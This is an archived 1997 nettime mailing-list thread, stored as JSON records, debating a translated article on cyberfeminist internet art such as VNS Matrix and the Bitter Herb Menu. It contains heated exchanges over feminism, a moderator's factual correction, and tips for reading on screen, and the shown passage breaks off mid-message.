                        "content": "\nAt 16:06 16-06-97 +0200, you wrote:\n>Aloha!\n>\n>Good explanation of the thing I'm more and more calling sick. More of it\n>I don't understand, but usually feminists are transplanting their personal\n>accidents, their personal experiences, i.e. misunderstandings with their\n>partners into common market. So their goal is make war not love (I'm not\n>hippy, so don't worry), if it's not another woman, of course. So is this a\n>form of solidarity or just a way of expressing their sexual behavior.\n>Plain gender, pure sex and nothing else. I don't think relationships\n>should be built or focused on that. It's very animalic. And even less, I\n>don't think excusses on political or social engagements should be raised\n>from plain personal - intimate thing. It takes (at least) two for any kind\n>of relation, communication. And here goes Internet, interactivity, etc.\n>There's never just one who takes the blame, even when it's man.\n>And I'm ignorant to all 'women only' projects. It sounds like 'white\n>only'. Sometimes I'm mad, sometimes I'm laughing at it. When women are\n>pointing out just their vagina (like feminists do) they make a very bad\n>reputation of themselves, and all women of course. This is plain racism\n>and pure agression. Make them read Camille Paglia.\n>Where are there heads, their brains, their feelings, their emotions, if\n>just vagina or penis is all that matters? So feminists are making animals\n>out of women, even if I think that animals are more intelligent than some\n>of them. Yes, I like Duchamp, I like Gertrude Stein, I like Orlan, \n>I like Stelarc, I like Beatles, I like Spice Girls, I like ninties, the\n>age of transsexuality and androginity and nature, that made genders. I'm\n>heterosexual and I'm not pointing it out whenever I'm talking to audience\n>I'm not making my political state out of it. It's ridiculous to be based\n>just on sexual orientation or even sexual needs, on something between our\n>legs. There are many 'hot lines' for that. Let's be civilised and maybe\n>intelectual.     \n>\n>Best,\n>Peter\n>     \n>++++++++++++++++++++++++++++++++++++++\n>Multimedia center KiberSRCeLab - KIBLA\n>Kneza Koclja 9\n>2000 Maribor\n>Slovenia\n>tel: +386 62 2294012, 2294013\n>fax: +386 62 225376\n>http://www.kibla.org\n>++++++++++++++++++++++++++++++++++++++\n>\n>On Mon, 16 Jun 1997, Anne de Haan wrote:\n>\n>> The vagina is the boss on internet\n>> \n>> New media female artists inspired by erotics, identity and social interaction\n>> \n>> Surfing on the internet I find the \u0091Virtual Themepark\u0092 from the most\n>> interesting cyberfeminist artist group VNS Matrix. It all sounds very\n>> promising and as a hetero woman I click on the Viral Pleasureworld. I am\n>> dissappointed, because I do not find any beautiful naked men on the screen,\n>> but a universe with purple planets and the text \u0091Viral Pleasure World\u0092. As\n>> soon as I want to continue I always come back on the first page. Only at\n>> \"The end of the World\"  I finally get to the \"Filthy Genderworld\" where I\n>> see a group of tiny little people who are licking eachother. Furtheron I\n>> step on Gashgirl\u0092s homepage, who\u0092s real name is Francesca da Rimini. This is\n>> one of the ladies from VNS Matrix. On this page I finally find some more\n>> \u0091information\u0092 about their work: wordmixture of textfragments from\n>> SM-stories, filmtitles and computerterminology that are connected to\n>> eachother. The title above this page says enough: \"GenderFuckMebacy\u0092s palace\n>> of Unparalleled Cynicism\", oldfashioned artistic enigmas that are larded\n>> with sensual quotes, to which\u0092s meaning you can quest for hours and hours\n>> being an outsider.\n>> \n>> Cyberslut\n>> \n>> VNS (VeNuS) Matrix wants to create confusion. The four Australian ladies\n>> want to make chaos in the standards and values from today\u0092s society, because\n>> they do not agree with the woman\u0092s status within. They make electronic art\n>> that questions the computer mass culture and her products in a playfull but\n>> brutal feministic way. VNS matrix acts on a humorous way against men\u0092s\n>> women-unfriendly and sexistic outbursts on the internet. These\n>> cyberfeminists are not afraid to use any means to achieve their aim. So they\n>> are not agianst sex, porno or even against men. They think that it is only\n>> just about time that women take control on the internet from men, because\n>> men behave badly. Still too many women suffer from obscene remarks. \n>> \n>> The Corpus FantasticaMOO, an internet game, illustrates clearly how obscene\n>> creeps should be punished. VNS Matrix, virtually pierced, masked, harnesed\n>> and weaponed with the most horrible torturestuff, enters dark\n>> internetsurroundings by psuedonyms like Psybapussy and Cyberslut. There they\n>> terrorize everything male as soon as it logs in in this Tartaros-like\n>> domain. Someone who entered as Quentin Tarrantino, for example, was almost\n>> sent to the virtual heaven by Psybapussy\u0092s dangerous C46-weapon. The girls\n>> are the boss and their feminity is sacred. The core of their realm, the\n>> Matrix, can only be reached by the virtual clitoris. The vagina is the\n>> symbol of the female power. In their \"Bitch Mo Manifesto\" the ladies swank\n>> about making art with their cunt. Their pussy is also capable of fighting\n>> against \"Big daddy mainframe\". \"Big Daddy Mainframe\" is the symbol of the\n>> male society, that is still dominating both the real and the virtual world.\n>> The \"Mainframe\" is also a widespread product of computertycoon IBM.\n>> \n>> The art of these cybervamps is at it\u0092s most beautiful in their fantastic\n>> projects, that are based on internet- and CD-rom games like Quest and Doom.\n>> In 1995 they made in cooperation with the artist Leon Cmielewski an project\n>> named \"The user unfriendly interface\", where as many as possible people\n>> should be insulted. On these beautiful pages it was not allowed to click\n>> anything. When someone was naughty and clicked anyway, the computer yelled\n>> angry at this person and the buttons changed into insects that walked away\n>> from the screen. People also had to fill in their dreams and desires, so\n>> that the program could curse and jeer at them. This program was not meant to\n>> be an attack to the male society, but to the dominating commercials and the\n>> standard mass products, that always have to be userfriendly.\n>> \n>> The game of communication\n>> \n>> VNS Matrix is also trying to investigate in what way the game is a symbol of\n>> social interaction in cultural life. Is pleasure an important condition to\n>> experience art? Interactivity gives one the power to interfere in a work of\n>> art. The non feminist artist Agnes Heged\u00fcs sees the new media as an\n>> interesting territorium for investigation in the field of social\n>> interaction. In the new media raises a new culture of games, that is both\n>> interactive and telematic. She thinks it is special that everyone can pick a\n>> different identity. The result is that communication via internet is more\n>> playful than in real life. The internet is a game of seduction. Not the\n>> seduction of being connected on a distance is addicting, but the mysterious\n>> rendez-vouses of people gives a sexy kick. On internet people can meet\n>> eachoter without being seen, they can pretend to be anyone in any way.\n>> \n>> Heged\u00fcs\u0092 \"Televirtual Fruitmachine\" from 1994 is based on this playful\n>> interactive aspect. De instalation is a big screen on which three puzzle\n>> pieces of a fruit machine are projected. In front of the screen are three\n>> tables with a joystick. Three different people can join into this game at\n>> the same time. The fruit is refering to the forbidden fruit from Paradise\n>> and seduction. In contrast with VNS Matrix, who wants to see the new digital\n>> world dominated by women, Heged\u00fcs does not think that is necessary. When the\n>> man and woman identity can be swapped in the virtual space, the\n>> genderidentity will be less important. The idea of genderswap with the help\n>> of the media was allready being issued by Marcel Duchamp, who let himself\n>> been photographed as Rrose Selavy (Eros c\u0092est la vie): travesty as sexual\n>> pleasure.\n>> \n>> Metamorphosis\n>> \n>> The body will be less relevant accoring to the Australian artist Jill Scott:\n>> by means of technique we will be nomads in both the body and the soul. She\n>> thinks technique is very fascinating and she illustrates that very\n>> brilliantly in her gorgeous interactive film-installation \"Frontiers of\n>> Utopia\" from 1995. The ill Zira does not live in the real world: everything\n>> she does is via the computer: working communicating and living, for this is\n>> the only way to forget that her body is soon going to die. In this\n>> installation the visitors can \"setup a dialogue\" with women who are in this\n>> film. These women come from different areas of the 20th century and tell\n>> things about their ideal society. Emma from 1900 hopes for freedom for\n>> public opinion, Pearl from 1930 is dreaming of  equality of race, Gillian\n>> from 1960 thinks of technical advance in socialist society and Zira from the\n>> 90ties believes that the technique can solve all problems. \n>> \n>> Thanks to technique the body can be improved. This theme is very popular\n>> among feminist artists. Even when a woman is not ill, her body needs to be\n>> improved by technique. The dutch artist Inez van Lamsweerde is hackling\n>> artificial bodily changes from healthy females, by making beautiful\n>> ridiculous computerpictures on which she used photomodels and\n>> window-figures. The female figures on her photo\u0092s have something unreal: in\n>> the series \"Thank you Tighmaster\" from the early nineties Van Lamsweerde\n>> stuck doll\u0092s eyes on a woman\u0092s face. She thinks too many woman cannot be\n>> themselves anymore, but have to look like Barbie.   \n>> \n>> Bitter Herb Menu/Brutal Myths\n>> \n>> \u0091The cosmedical industry is a form of keeping women surpressed\" claim the\n>> american artists Sonya Rapoport and Marie Jos\u00e9 Sat. The reason why men\n>> dominate women is because they are scared of them. That is why women were\n>> called witch. \"The firsts woman Eve was allready called bad and even the\n>> most evil woman that has ever lived\" is one of the ancient myths that was\n>> going around in the middle ages according to Sat and Rapoport. They say,\n>> that this myth is still going on in the arabic countries and that\u0092s why the\n>> women do not get any political chance over there, and that is why woman in\n>> some countries are being circumcised. This is a primitive form of cosmedical\n>> surgery. In the western world women are forced upon strict diets and\n>> cosmedical surgery.  \n>> The Bitter Herb Menu is a metapher for the so called badness of women. In\n>> Genesis, Sat and Rapoport continue, God condemned mankind to work at the\n>> fields and to eat the harvest. That iss why these artists choose for the\n>> herbal witchcraft as a symbol for the wholesome harvest of women, because in\n>> early times women were seen as spiritual curers in ancient times. This has\n>> changed later in the middle ages, when spiritual curers were seen as\n>> dangerous witches.  The first part of the website \"Brutal Myths\" describes\n>> which bitter herb poisons the mind of the man, so he will believe that women\n>> are bad. In the second part of the digital work of art is the healthy herbal\n>> garden with wholesome herbs.\n>> \n>> Vagina Dentata\n>> \n>> On the Bitter Herb Menu one can find the bitter herb \"cleavers\", which lets\n>> a vagina eat a penis. The principle of the Vagina Dentata, the mighty and\n>> male-swallowing vagina is to be found in different cultures. Because men are\n>> afraid of this Vagina Dentata, women are being circumcised, so that they\n>> cannot urinate in a normal way or enjoy sex. The liberation of women is to\n>> take revenge of them by castration, says the Bitter Herb website. The herb\n>> that is punishing men so severely is called Heartsease. The Vagina Dentata\n>> is a beloved subject among cyberfeminist artist, because it is the ultimate\n>> symbol of destroying male power. Women can be in charge then. The Bitter\n>> Herb menu sees the Vagina Dentata in a mystique and occult context. But VNS\n>> Matrix sees the vagina Dentata in a playful way as a vampire like tart, who\n>> is called Dentata. Dentata has to shoot men in the \u0091Cybersquat\u0092, a virtual\n>> game surroundings from VNS Matrix.\n>> \n>> \tInteractive rituals in the Bitter herb Menu, that are made by the visitors,\n>> contribute to the destruction of the myth of women being evil and calm the\n>> phobias of men. Sat and Rapoport think that in this way they are\n>> contributing to the development of the World Wide Web as a new artistic\n>> technological medium, that is free from sexual prejudices and differences,\n>> so that the reputation of women can be purified.\n>> \n>> Common Ground\n>> \n>> The internet is a free space and that is why women can take advantage of\n>> that. Sonya Rapoport sees the web as free and easy to give a presentation\n>> from feministic art. She hopes to reach also people who would otherwise\n>> never go to an exhibition.. She is striving to a kind of common ground: a\n>> virtual space linked to different female artists. The dutch artist Mathilde\n>> Mup\u00e9 has allready made links on her homepage to different feminists in\n>> cyberspace. The german video artist Ulrike Rosenbach and the american art\n>> critic Lucy Lippard have allready set up feministic art institutes in the\n>> seventies where female artists could cooperate. \n>> \n>> Much female artists see the internet as a possibility to communicate in a\n>> role playing game, where people can change their gender. Some feminist\n>> artists want to gain power over men on the inernet. For them the game of\n>> sexuality is a form of power instead of romance. The sexual organ is not\n>> only capable of enjoying sex, but also of urinating, multiplying and\n>> dividing the human race into the suppressed and the dominating species.\n>> These feminist artists see the internet as an opportunity to be the boss on\n>> internet. They do not want to lose their gender, but they want to gain\n>> dominance over the male in their female glory. The gender identity should\n>> therefore be emphasized according to them. The question is whether this is\n>> still relevant in an age of androgyny and transsexuality, because the body\n>> can also be changed in today\u0092s society. \n\n\nPeter,\n\nI think you are very right about this and I think that other people should\nknow this too. That's why I am sending this to the nettime list.\n\nI wrote this article because I wanted to write something about feministic\nart on the internet and not because I am an feminist. Althought I think that\nthe ideas behind the feminist arts are very interesting, I do not agree with\nthem. I also think that men and women should be equal.\nI left my opinion out of the article, because I wanted to give a kind of\nobjective prescription, maybe I should have given more of my own opinion in it.\n\nKind regards,\n\nAnne\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nCheck mijn nieuwe artikel over \"De Vagina is de baas op internet\"\n\nhttp://utopia.knoware.nl/users/sigorney/vagi.htm\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00119",
                        "date": "Tue, 17 Jun 1997 09:11:38 +0200",
                        "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                        "message-id": "199706170711.JAA02749 {AT} utrecht.knoware.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00119.html",
                        "content-type": "text/plai",
                        "author_name": "Anne de Haan",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    },
                    {
                        "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                        "content": "\n\n\n       please continue this nonsens in private mails\n\n\n\nsome general information about the original mail:\n\nThe User Unfriendly interface was NOT developed by VNS Matrix\nI pointed this out to the writer of this article\nbefore it was translated.\nIt was a seperate art piece by Leon Cmielewski and Josephine Starrs.\n\nanother big point of anatomical difference:\nwomen do not urinate with their sex organs\nthere is another hole, connected to a seperate organ, the bladder\n\n\n\ntake it easy other subscribers\n\nJ\n\n*\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00128",
                        "date": "Tue, 17 Jun 1997 14:38:30 +0200 (MET DST)",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "l03010d06afcc5151a3b5 {AT} [194.109.45.77]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00128.html",
                        "content-type": "text/plai",
                        "author_name": "Josephine Bosma",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    },
                    {
                        "from": "Will French <wfrench {AT} interport.net>",
                        "content": "\nPeter Tomaz Dobrila wrote:\n\n>   The thing about new media is that text informations should\n> be short and precise, the long stories should be printed.\n\n  I disagree.  I'm a heavy reader, and it costs me much more to\nbuy printed matter than to read stuff on my computer.  In any\ncase, you can always print it out yourself, or just skip it.\n\n>   I just can't use computer as a book, my eyes get sore. It's\n> a multimedia machine.\n\n  This happens to many people, but not everyone!  I spend 2-3\nhours a day reading text on my computer, and almost never have\nthat problem.  Here are some hints:\n\n  Use text (DOS) mode, not graphic (Windows) mode.\n\n  Increase the resolution.  Most PCs come set for 400 lines in\ntext mode, but they can do much better.  600 lines is about\nright for a 15-inch monitor.\n\n  Find a better color combo than black and white.  I use\nlemon-yellow text on a dark blue background.\n\n  I use a free program called SVGATextMode to accomplish the\nabove adjustments.  I run it under the Linux operating system,\nbut a DOS version is available also -- here's the URL:\n\nftp://sunsite.unc.edu/pub/Linux/utils/console/SVGATextMode-1.5-dos.tar.gz\n\n\nWill French  <wfrench {AT} interport.net>\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00130",
                        "date": "Tue, 17 Jun 1997 10:18:55 -0400 (EDT)",
                        "to": "nettime-l {AT} Desk.nl, peco {AT} kibla.org",
                        "message-id": "199706171418.KAA19774 {AT} interport.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00130.html",
                        "content-type": "text/plai",
                        "author_name": "Will French",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    },
                    {
                        "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                        "content": "\nGive it back...\n\n> Peter,\n> \n> I think you are very right about this and I think that other people should\n> know this too. That's why I am sending this to the nettime list.\nI agree, but on the other hand may mail box is quite full with all nettime\ndiscusions, so how can the others cope with that. It's imposible to read\nall the things, while some mails are very (too) long. The thing about new\nmedia is that text informations should be short and precise, the long\nstories should be printed. I just can't use computer as a book, my eyes\nget sore. It's a multimedia machine. \n\n> I wrote this article because I wanted to write something about feministic\n> art on the internet and not because I am an feminist. Althought I think that\n> the ideas behind the feminist arts are very interesting, I do not agree with\n> them. I also think that men and women should be equal.\nWhat is feminist art? It's a kind of statement. But on the other hand, if\nyou look global, there are about 51% of women and 49% of men on the world.\nSo women are majority (tipical in racism is dictatorship of majority on\nminority). I'm O.K. with that, but I think a lot of feminist artist don't\nget it. It was funny when a guy on the LEAF meeting in Liverpool this year\npointed out, when there was 'women-only' meeting, that it would be maybe\nmore relevant to have 'shy-only' meeting, because somebody said that one\nof the women attributes is shyness. Are men not shy? Don't you think I can\nmake feminist art as you can do the macho one? Specialy on the net. Art\nis trans-... Everything else is and excuse and pure activism. Sexism is\nfar out. And the worst is that personal shit is then abstracted to whole\npopulation. Aren't we individuals? There are differences between people,\neveryone is different person. And of course there are shitty women and\nshitty men. \n   \n> I left my opinion out of the article, because I wanted to give a kind of\n> objective prescription, maybe I should have given more of my own opinion\nBut I got your opinion and I'm supporting it. \n\nBest,\nPeter\n\n \n \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00122",
                        "date": "Tue, 17 Jun 1997 11:09:17 +0200 (MET DST)",
                        "to": "Anne de Haan <sigorney {AT} knoware.nl>",
                        "message-id": "Pine.LNX.3.95.970617103828.858A&#45;100000 {AT} server.nd&#45;mb.si",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00122.html",
                        "content-type": "text/plai",
                        "author_name": "Peter Tomaz Dobrila",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "content": "\nHi there!\n\n> I just wanted to note briefly, that there is hardly any statement that I\n> find more insidious and offensive, when not outright simplistic and\nAt the end I wrote i.e. - in example. So I didn't mean just that, there\nis others personal shit as well. But you can't blame it on the whole world\npopulations.  \n\n> Feminists are reponding to *institutional* sexism, and fighting against\n> sexism constitutes neither the airing of dirty laundry nor the promotion of\n> sexism itself.   Many people are feminist before they even have any\n> \"partners\" to be \"angry\" about -- for example, my first feminist awakening\n> involved the way that *teachers* treated me in math and science classes in\n> my pre-teen years.  There's no bitterness over boyfriends there; rather, it\n> is justified anger at a world that assigns females a presumption of\n> incompetence while assigning males, at the same time, a presumption of\n> competence.   The goal is to break down barriers and promote equality, and\n> I think that you badly misrepresent feminism as it is known to the great\n> majority of people, both male and female, who identify as feminist, by\n> insisting otherwise.\nAlright. You don't like *teachers*. I don't like some of them either. You\ncan identify as you like. Feminist is O.K. I'm Marsian, two heads and\nwings, little green creature. But on the other hand I'm Peter Tomaz\nDobrila and nothing else. Please to meet you Rebecca. Give those teachers\nnames. Some car drivers are even worse. So what to do?\n \n> That said, I did actually have an objection to the circulated \"Vagina\"\n> post.  In my opinion, as well as my best understanding of the nature of\n> biology and human sexuality, the female body part that is most analagous to\n> the penis is the *clitoris* rather than the vagina.  It is a fairly common\n> complaint among feminist scholars (and has been for a while, in particular\n> in reaction to Freud's terrifyingly absurd assumptions about female\n> sexuality) that a focus on the vagina, rather than on the clitoris or the\n> vulva in general, looks at female sexuality from the point of view of a\n> penis in search of a hole.  This is not to insist that the vagina is\n> irrelevant to sexuality for all women, but rather, it is to make the\n> argument that, if you are going to reclaim space for women, and then\n> identify women with the sexual organ where their sexual response is\n> generally considered to be located, the clear choice would have been\n> clitoris rather than vagina.\nGreat! Sigmund Freud was a wanker. But debate about penis, vagina and\nclito is unfamiliar to me. Don't we have more in our bodies? Toes, liver,\nheart, brain, arms, legs, feet, head, kindeys, eyes, ears, smell,\nvoice, touch, etc. Isn't it all involved in our whole behaviour, work,\nsex, etc.? \n\nBest,\nPeter\n\n   \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00125",
                                "date": "Tue, 17 Jun 1997 12:00:02 +0200 (MET DST)",
                                "to": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                "message-id": "Pine.LNX.3.95.970617113922.858H&#45;100000 {AT} server.nd&#45;mb.si",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00125.html",
                                "content-type": "text/plai",
                                "author_name": "Peter Tomaz Dobrila",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            },
                            {
                                "from": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                "content": "\nAt 12:00 PM +0200 6/17/97, Peter Tomaz Dobrila wrote:\n>Hi there!\n>\n>> I just wanted to note briefly, that there is hardly any statement that I\n>> find more insidious and offensive, when not outright simplistic and\n>At the end I wrote i.e. - in example. So I didn't mean just that, there\n>is others personal shit as well. But you can't blame it on the whole world\n>populations.\n\n\nIn the United States, the accepted meaning of i.e. is \"that is.\"  This is\nvery different from \"for example,\" which is signified by \"e.g.\".\n\nRegardless, the point stands that feminism is not about revenge against bad\nmen.  It is about a social movement that promotes equality of the sexes,\nand that actively fights against sexist stereotyping.  Period.  If I read\ncorrectly, you yourself insisted that you were \"not a feminist\" (a\nconclusion that could have been inferred from context had it not been\nstated explicitly).  Given that, how can you justify trying to define my\nsocial movement?    It is offensive.\n\nWho is blaming sexism on \"the thole world populations <sic>\"?  What I\nstated clearly, and what I repeat again, is that feminism is about\npromoting equality of the sexes, and striving to acheive a world where\nopportunity is not restricted on the basis of sex and/or gender.   The fact\nthat the majority of the people who live in this world take part in a\nsexist culture of some sort does not change the goals of the movement,\nwhich are to enact change and promote equality.\n\n\n\n>\n>> Feminists are reponding to *institutional* sexism, and fighting against\n>> sexism constitutes neither the airing of dirty laundry nor the promotion of\n>> sexism itself.   Many people are feminist before they even have any\n>> \"partners\" to be \"angry\" about -- for example, my first feminist awakening\n>> involved the way that *teachers* treated me in math and science classes in\n>> my pre-teen years.  There's no bitterness over boyfriends there; rather, it\n>> is justified anger at a world that assigns females a presumption of\n>> incompetence while assigning males, at the same time, a presumption of\n>> competence.   The goal is to break down barriers and promote equality, and\n>> I think that you badly misrepresent feminism as it is known to the great\n>> majority of people, both male and female, who identify as feminist, by\n>> insisting otherwise.\n>Alright. You don't like *teachers*. I don't like some of them either. You\n>can identify as you like. Feminist is O.K. I'm Marsian, two heads and\n>wings, little green creature. But on the other hand I'm Peter Tomaz\n>Dobrila and nothing else. Please to meet you Rebecca. Give those teachers\n>names. Some car drivers are even worse. So what to do?\n\nThat is patently absurd.  Feminism is not a fight against \"teachers.\"  Many\nteachers were *not* that way.  Feminism is a battle to break down sexist\nstereotyping, and what I gave an example of was the stereotype that insists\nthat women are not competent in math and science, and that succeeds, to\nthis day, to keep unjustly  many highly qualified women out of lucrative\nand challenging occupations.  To the extent that individuals are hired\nand/or promoted based on their sex rather than based on the quality of\ntheir work (and to deny that this happens is to look blindly upon the\nworld) helps no one because it promotes an inefficient marketplace and\ninhibits the full range of human and technological progress.\n\nYou are Peter, but you are also male, and you have benefitted from being a\nmale, in some way or other in your life, whether you admit that or not.\nPerhaps you have benefitted only from the fact that you need not actively\nfear rape as you walk down a city street at night; or perhaps you have\nbenefitted from that fact because you have a much better real opportunity\nto become an elected member of the government (at least if you were a US\ncitizen) than your female colleagues.  But you have benefitted.\nPersonally, I strive for a world where gender, the social contruct, does\nnot exist at all, and in which we can all be viewed as individuals first,\nand male or female (or hermaphrodite) as one of our many other individual\ntraits.  But we are not there yet, Peter, and denying the existence of\ninstitutionalized sexism brings us no closer to that final goal.\n\n\n\n>\n>> That said, I did actually have an objection to the circulated \"Vagina\"\n>> post.  In my opinion, as well as my best understanding of the nature of\n>> biology and human sexuality, the female body part that is most analagous to\n>> the penis is the *clitoris* rather than the vagina.  It is a fairly common\n>> complaint among feminist scholars (and has been for a while, in particular\n>> in reaction to Freud's terrifyingly absurd assumptions about female\n>> sexuality) that a focus on the vagina, rather than on the clitoris or the\n>> vulva in general, looks at female sexuality from the point of view of a\n>> penis in search of a hole.  This is not to insist that the vagina is\n>> irrelevant to sexuality for all women, but rather, it is to make the\n>> argument that, if you are going to reclaim space for women, and then\n>> identify women with the sexual organ where their sexual response is\n>> generally considered to be located, the clear choice would have been\n>> clitoris rather than vagina.\n>Great! Sigmund Freud was a wanker. But debate about penis, vagina and\n>clito is unfamiliar to me. Don't we have more in our bodies? Toes, liver,\n>heart, brain, arms, legs, feet, head, kindeys, eyes, ears, smell,\n>voice, touch, etc. Isn't it all involved in our whole behaviour, work,\n>sex, etc.?\n>\n\n\nThere are many errogenous zones in the human body, both male and female,\nand NOTHING I wrote suggested otherwise.  But a focus on the vagina is\nclearly phallocentric, and a decision not to even mention the clitoris --\nwhich, I repeat, is where female sexuality is said to be \"centered\" in a\nway analogous to the male centering of sexuality on the penis -- is not\ntrivial.    No act of sexism is trivial, and I must repeat that I find\nhardly any action more pernicious than the denial that sexism exists.\nSexism exists.    The fact that you, personally, have perhaps never felt\nthe direct harms of sexism only provides evidence of the fact that sexism\ndivides the world by gender, and assigns the burdens and benefits\ninequally.  The fact that many women (most of them much younger than I am)\nand perhaps most men may disagree with this perspective does not mean that\nsexism does not exist.\n\nI believe that your intentions are genuine.  So if you want truly to create\nthe egalitarian world that you would like to think exists today, do\nsomething about it.  Join the movement.  Read the literature.  Talk about\nit.  Get involved.  Don't just sit there.\n\nrle\n\nrebecca.lynn.eisenberg\nmars {AT} bossanova.com, mars {AT} well.com\nhttp://www.bossanova.com/rebeca/\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00126",
                                "date": "Tue, 17 Jun 1997 03:38:06 -0700",
                                "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "message-id": "v0300780dafcc13d17e3f {AT} [206.80.15.235]",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00126.html",
                                "content-type": "text/plai",
                                "author_name": "rebecca l. eisenberg",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            },
                            {
                                "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "content": "\nHi again dear...\n \n> In the United States, the accepted meaning of i.e. is \"that is.\"  This is\n> very different from \"for example,\" which is signified by \"e.g.\".\nSorry. So e.g. But maybe is English i.e.? I'm not sure. It is not my\nfirst language.\n \n> Regardless, the point stands that feminism is not about revenge against bad\n> men.  It is about a social movement that promotes equality of the sexes,\n> and that actively fights against sexist stereotyping.  Period.  If I read\n> correctly, you yourself insisted that you were \"not a feminist\" (a\n> conclusion that could have been inferred from context had it not been\n> stated explicitly).  Given that, how can you justify trying to define my\n> social movement?    It is offensive.\nWhat equality, if there are 'women only' things? Don't you think this is\nxenophobic, chovinistic and even rasistic? Isn't it just stereotyping?\nIt's is the same as with your *teachers*. Most of my teachers were women,\nso I should go macho, while I didn't like all of them... I'm not a\nfeminist and I'm not macho. I'm human, I suppose I'm not a dog. Social or\nsex movement? Be precise. Society involves ALL (human) beings. And no, I'm\nnot offensive. I like you and it's O.K., if you are feminist. Just I don't\nagree with it, making social movements with the thing between your legs.\n \n> Who is blaming sexism on \"the thole world populations <sic>\"?  What I\n> stated clearly, and what I repeat again, is that feminism is about\n> promoting equality of the sexes, and striving to acheive a world where\n> opportunity is not restricted on the basis of sex and/or gender.   The fact\n> that the majority of the people who live in this world take part in a\n> sexist culture of some sort does not change the goals of the movement,\n> which are to enact change and promote equality.\nNo, as long as there are 'women-only' things, you can't talk about \nequality. All different all equal. With other statements I'm supporting\nyou. I have a better word: humanism - it doesn't include gender, while\nfeminism does. \n \n> That is patently absurd.  Feminism is not a fight against \"teachers.\"  Many\n> teachers were *not* that way.  Feminism is a battle to break down sexist\n> stereotyping, and what I gave an example of was the stereotype that insists\n> that women are not competent in math and science, and that succeeds, to\n> this day, to keep unjustly  many highly qualified women out of lucrative\n> and challenging occupations.  To the extent that individuals are hired\n> and/or promoted based on their sex rather than based on the quality of\n> their work (and to deny that this happens is to look blindly upon the\n> world) helps no one because it promotes an inefficient marketplace and\n> inhibits the full range of human and technological progress.\nSo you're battling one sexist stereotype with another. Not very sensible.\nI agree with other (mostly). You pointed out *teachers*, not me. Isn't\nthat your personal thing? I was prosecuted by communist government and\nwas thrown out of University. So what? Should I fight all communists? No,\nI like them. I like communism.\n \n> You are Peter, but you are also male, and you have benefitted from being a\n> male, in some way or other in your life, whether you admit that or not.\nFor my benefits look above. But it's not my trauma.I just don't have Ph.D.\nI admit everything else.  \n\n> Perhaps you have benefitted only from the fact that you need not actively\n> fear rape as you walk down a city street at night; or perhaps you have\n> benefitted from that fact because you have a much better real opportunity\n> to become an elected member of the government (at least if you were a US\n> citizen) than your female colleagues.  But you have benefitted.\nO.K. You think not? Why? Fuck the government. I have a much better real\nopportunity to die (better: change my agregate state) earlier than you\nwould. And I have a much better real opportunity to be beaten by a gang.\nAnd I had a much better real opportunity to go to prison. And I've got\na much better real opportunity to be shot. Welcome to my benefits. US is\nnot the whole world. So what do you know about ex-socialism? It was\ngreat.\n\n> Personally, I strive for a world where gender, the social contruct, does\n> not exist at all, and in which we can all be viewed as individuals first,\n> and male or female (or hermaphrodite) as one of our many other individual\n> traits.  But we are not there yet, Peter, and denying the existence of\n> institutionalized sexism brings us no closer to that final goal.\nI'm not denying 'institutional sexism'. But it exists for male as well.\nLook for your opportunities and don't believe everything Rosa 